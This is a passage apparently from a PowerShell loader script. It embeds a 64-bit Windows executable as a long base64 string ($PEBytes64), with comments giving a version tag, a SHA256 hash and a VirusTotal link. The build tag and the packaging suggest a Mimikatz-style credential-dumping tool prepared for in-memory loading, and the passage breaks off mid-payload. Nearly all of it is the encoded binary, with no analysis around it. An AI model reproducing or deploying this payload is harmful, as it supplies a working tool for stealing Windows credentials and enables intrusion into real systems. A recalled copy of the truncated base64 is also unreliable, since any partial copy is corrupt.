AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + # 2.1 (x64) 20161029 OJ Edition! + # SHA256 hash: C36572664731F058A282FA6F943E48FE80646F6613C3A46F3EEE1F4A121B2158 + # VirusTotal Analysis: https://www.virustotal.com/en/file/c36572664731f058a282fa6f943e48fe80646f6613c3a46f3eee1f4a121b2158/analysis/1478821040/ + $PEBytes64 = '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